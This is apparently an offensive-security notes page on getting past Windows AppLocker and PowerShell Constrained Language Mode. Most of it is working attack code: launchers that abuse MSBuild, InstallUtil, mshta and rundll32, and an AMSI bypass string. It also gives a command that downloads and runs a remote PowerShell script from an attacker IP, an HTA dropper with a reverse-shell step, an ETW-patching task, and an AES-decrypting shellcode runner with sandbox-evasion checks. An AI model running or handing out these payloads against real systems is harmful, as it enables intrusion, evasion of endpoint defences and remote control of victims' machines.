CLM and Applocker Bypass
Applocker Bypass
Enumerate applocker
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
function Parse-XML {
param (
[Parameter(Mandatory = $true)]
[string]$XmlString
)
begin {
[xml]$xml = $XmlString
}
process {
if ($xml.DocumentElement -eq 'FilePublisherRule') {
$Parsed = $xml.FilePublisherRule
}
elseif ($xml.DocumentElement -eq 'FilePathRule') {
$Parsed = $xml.FilePathRule
}
else {
$Parsed = $xml.DocumentElement
}
}
end {
return $Parsed
}
}
function Invoke-ApplockerRecon {
# Check if applocker will apply to the current user context
$CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$BuiltIn = @("NT AUTHORITY\SYSTEM", "NT AUTHORITY\LOCAL SERVICE", "NT AUTHORITY\NETWORK SERVICE", "IIS APPPOOL\DefaultAppPool")
if ($CurrentUser -in $BuiltIn) {
Write-Output "Applocker policies do not apply to $CurrentUser"
}
# Parse through available rules
$Rules = Get-ChildItem -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2"
foreach ($ID in $Rules) {
$RuleName = $($ID.PSChildName)
switch ($(Get-ItemProperty -Path "$($ID.PSPath)" -Name "EnforcementMode" -ErrorAction SilentlyContinue).EnforcementMode) {
1 { $Enforcement = 'Enforced' }
0 { $Enforcement = 'Not Enforced' }
$Null { $Enforcement = 'Not Configured' }
}
$Actions = Get-ChildItem -Path "$($ID.PSPath)" -ErrorAction SilentlyContinue
foreach ($Action in $Actions) {
$XML = Get-ItemProperty -Path "$($Action.PSPath)" -Name "Value" -ErrorAction SilentlyContinue
Parse-XML -XmlString $XML.Value | Select @{l = 'Rule'; e = { $RuleName } }, @{l = 'Enforcement'; e = { $Enforcement } }, ID, Name, Description, UserOrGroupSid, Action, @{l = 'Conditions'; e = { $_.Conditions.FilePathCondition.Path } }
}
}
}
Invoke-ApplockerRecon
Bypasses Technique
Technique 1: abusing Trusted Folders
The default rules for AppLocker whitelist all executables and scripts located in C:\Program Files, C:\Program Files (x86), and C:\Windows.
using accesschk
accesschk.exe "User_name" C:\Windows -wus
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
RW C:\Windows\appcompat
RW C:\Windows\apppatch
RW C:\Windows\AppReadiness
RW C:\Windows\assembly
RW C:\Windows\bcastdvr
RW C:\Windows\bootstat.dat
RW C:\Windows\Branding
RW C:\Windows\BrowserCore
RW C:\Windows\CbsTemp
RW C:\Windows\comsetup.log
RW C:\Windows\Containers
RW C:\Windows\Cursors
RW C:\Windows\debug
RW C:\Windows\System32\spool\drivers\color
....
using icacls
icacls.exe C:\Windows\Tasks
C:\Windows\Tasks NT AUTHORITY\Authenticated Users:(RX,WD)
BUILTIN\Administrators:(F)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
CREATOR OWNER:(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
Technique 2: DLLs
create a DLL with c
#include "stdafx.h"
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void run()
{
MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}
ran the DLL
rundll32 C:\Temp\test.dll,run
Technique 3: Alternate Data Streams
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe /c calc.exe");
type test.js > "C:\Test\Test.log:test.js"
dir /r "C:\Test\Test.log"
Volume in drive C has no label.
Volume Serial Number is 305C-7C84
Directory of C:\Test\Test
03/09/2020 08:34 AM 32,489 Test.log
79 Test.log:test.js:$DATA
1 File(s) 32,489 bytes
0 Dir(s) 696,483,840 bytes free
wscript "C:\Test\Test.log:test.js"
Technique 4: JScript and MSHTA
simple example
create an hta file
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe /c calc.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
execute the hta file
mshta .\devile.hta
loading powershell + InstallUtill
creating run space exe with AMSI bypass
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Nothing going on in this binary.");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String isma = "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) { if ($b.Name -clike \"A*U*s\") {$c =$b; break} };$d =$c.GetFields('NonPublic,Static');Foreach($e in $d) { if ($e.Name -like \"*Init*\") {$f =$e} };$f.SetValue($null, $true);";
String cmd = "IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.248/NonEncrpted.ps1')";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(isma);
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
create hta file
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var re = shell.Run("powershell -windowstyle hidden echo <exe encoded in base64 here> > C:\\Windows\\Tasks\\enc4.txt;certutil -decode C:\\Windows\\Tasks\\enc4.txt C:\\Windows\\Tasks\\clm.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Tasks\\clm.exe")
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
encode the exe into base64 format and copy it into hta file
certutil -encode "C:\Users\Badr JM\Desktop\MyOsep\PowerShell Runspace + loade file\bin\x64\Release\AppLocker Bypass PowerShell Runspace.exe" b64.txt
execute the hta file and don't forget to host the reverse shell powershell script
mshta.ext http://192.168.45.121/file.hta
Technique 5: MSBuild + amsi bypass
create an xml file
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net" />
<Reference Include="System.Xml" />
</ItemGroup>
<Target Name="Hello">
<ClassExample/>
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Using Namespace="System"/>
<Using Namespace="System.Reflection"/>
<Using Namespace="System.Diagnostics"/>
<Using Namespace="System.Net"/>
<Using Namespace="System.Management.Automation"/>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Text;
using System.Reflection;
using Microsoft.CSharp;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Security.Cryptography;
using System.Net;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
Console.WriteLine();
var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
if (PSEtwLogProvider != null){
var EtwProvider = PSEtwLogProvider.GetField("etwProvider", BindingFlags.NonPublic | BindingFlags.Static);
var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
EtwProvider.SetValue(null, EventProvider);
}
String cmd = "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) { if ($b.Name -clike \"A*U*s\") {$c =$b; break} };$d =$c.GetFields('NonPublic,Static');Foreach($e in $d) { if ($e.Name -like \"*Init*\") {$f =$e} };$f.SetValue($null, $true);";
ps.AddScript(cmd);
ps.Invoke();
Console.Write("PS " + Directory.GetCurrentDirectory()+">");
while ((cmd = Console.ReadLine()) != null){
ps.AddScript(cmd);
try{
Collection<PSObject> psOutput = ps.Invoke();
Collection<ErrorRecord> errors = ps.Streams.Error.ReadAll();
foreach (ErrorRecord error in errors)
{
Console.WriteLine(error.ToString());
}
foreach (PSObject output in psOutput){
if (output != null){
Console.WriteLine(output.ToString());
}
}
}catch (Exception e){
Console.WriteLine("**** ERROR ****");
if (e.Message != null){
Console.WriteLine(e.Message);
}
ps.Stop();
ps.Commands.Clear();
}
ps.Commands.Clear();
Console.Write("PS " + Directory.GetCurrentDirectory()+">");
}
rs.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe test.xml
CLM Bypass
Enumerate CLM
$ExecutionContext.SessionState.LanguageMode
Enables/Disable CLM
#enable CLM in all session
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
#enable it just in our current session
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
#disable CLM
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '0', 'Machine')
Bypasses Techniques
technique 1: using bypass-clm tool
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U "C:\Users\ted\Desktop\bypass-clm.exe"
technique 2: using msbuild
runspace powershell
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes C# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup />
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello from Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
// Add to PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
// Based on Jared Atkinson's and Justin Warner's Work
public class ClassExample : Task, ITask
{
public override bool Execute()
{
// WARNING: The infinite loop below means this task will never exit.
// Consider adding an exit condition.
while (true)
{
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
// Unreachable due to the infinite loop.
// return true;
}
public static string RunPSCommand(string cmd)
{
// Initialize the runspace.
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
// Add the provided script.
pipeline.Commands.AddScript(cmd);
// Prepare PowerShell for string output.
pipeline.Commands.Add("Out-String");
var results = pipeline.Invoke();
runspace.Close();
// Convert the results to a single string.
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
run the xml file
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe c:\\Users\\ted\\Desktop\\by.xml
or we can set our shellcode runner
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net" />
<Reference Include="System.Xml" />
</ItemGroup>
<UsingTask TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Using Namespace="System"/>
<Using Namespace="System.Reflection"/>
<Using Namespace="System.Diagnostics"/>
<Using Namespace="System.Net"/>
<Using Namespace="System.Runtime.InteropServices"/>
<Using Namespace="System.Security.Cryptography"/>
<Using Namespace="System.IO"/>
<Using Namespace="Microsoft.Build.Framework"/>
<Using Namespace="Microsoft.Build.Utilities"/>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.IO;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public override bool Execute()
{
try
{
// Data arrays as in your original code.
byte[] Says = new byte[32] { };
byte[] Try = new byte[16] { };
byte[] Offsec = new byte[512] { };
byte[] Harder = Decrypt(Offsec, Says, Try);
int size = Harder.Length;
IntPtr va = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(Harder, 0, va, size);
IntPtr thread = CreateThread(IntPtr.Zero, 0, va, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(thread, 0xFFFFFFFF);
return true;
}
catch (Exception ex)
{
Log.LogErrorFromException(ex);
return false;
}
}
public byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
]]>
</Code>
</Task>
</UsingTask>
<Target Name="Hello">
<ClassExample/>
</Target>
</Project>
technique 3: create an exe with runspace powershell
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Text;
namespace PowerShellConstrainedLanguageBypass
{
public class Program
{
public static void Main(string[] args)
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");
string cmd = "";
do
{
Console.Write("PS > ");
cmd = Console.ReadLine();
if (!string.IsNullOrEmpty(cmd))
{
using (Pipeline pipeline = runspace.CreatePipeline())
{
try
{
pipeline.Commands.AddScript(cmd);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}
Console.Write(stringBuilder.ToString());
}
catch (Exception ex)
{
Console.WriteLine("{0}", ex.Message);
}
}
}
} while (cmd != "exit");
}
}
}
run the exe
technique 4: using installutil
runspace powershell
using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Management.Automation;
using System.Collections.ObjectModel;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;
namespace PSInstallBypass
{
class Program
{
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
static void Main(string[] args)
{
DateTime stime = DateTime.Now;
Sleep(10000);
double etime = DateTime.Now.Subtract(stime).TotalSeconds;
if (etime < 10)
{
return;
}
String fileName = Process.GetCurrentProcess().MainModule.FileName;
if (fileName != "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe")
{
return;
}
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
private static StringBuilder Output(Collection<PSObject> results)
{
StringBuilder Builder = new StringBuilder();
foreach (PSObject obj in results)
{
Builder.Append(obj);
}
return Builder;
}
private static void CommandExec(PowerShell ps, string cmd)
{
string CatchError = "Get-Variable -Value -Name Error | Format-Table -Wrap -AutoSize";
ps.AddScript(cmd);
ps.AddCommand("Out-String");
String isma = "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) { if ($b.Name -clike \"A*U*s\") {$c =$b; break} };$d =$c.GetFields('NonPublic,Static');Foreach($e in $d) { if ($e.Name -like \"*Init*\") {$f =$e} };$f.SetValue($null, $true);";
ps.AddScript(isma);
ps.Invoke();
try
{
Collection<PSObject> Results = ps.Invoke();
Console.WriteLine(Output(Results).ToString().Trim());
ps.Commands.Clear();
ps.AddScript(CatchError);
ps.AddCommand("Out-String");
Results = ps.Invoke();
StringBuilder Builder = Output(Results);
if (!String.Equals(Builder.ToString().Trim(), ""))
{
Console.WriteLine(Builder.ToString().Trim());
ps.Commands.Clear();
ps.AddScript("$error.Clear()");
ps.Invoke();
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
ps.Commands.Clear();
}
public override void Uninstall(System.Collections.IDictionary savedState)
{
string cmd;
const int BufferSize = 4000;
string cwd = Directory.GetCurrentDirectory();
Console.SetIn(new StreamReader(Console.OpenStandardInput(), Encoding.UTF8, false, BufferSize));
Runspace rs = RunspaceFactory.CreateRunspace();
PowerShell ps = PowerShell.Create();
Console.WriteLine("[+] Enjoy your new PowerSehll session!\n");
rs.Open();
ps.Runspace = rs;
while (true)
{
Console.Write($"PS {cwd}> ");
cmd = Console.ReadLine();
if (String.Equals(cmd, "cls"))
{
Console.Clear();
}
if (String.Equals(cmd, "exit"))
{
break;
}
CommandExec(ps, cmd);
}
rs.Close();
}
}
}
command to ran
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U "C:\Users\test\Desktop\InstallUtilRunspace.exe"
Last updated
Was this helpful?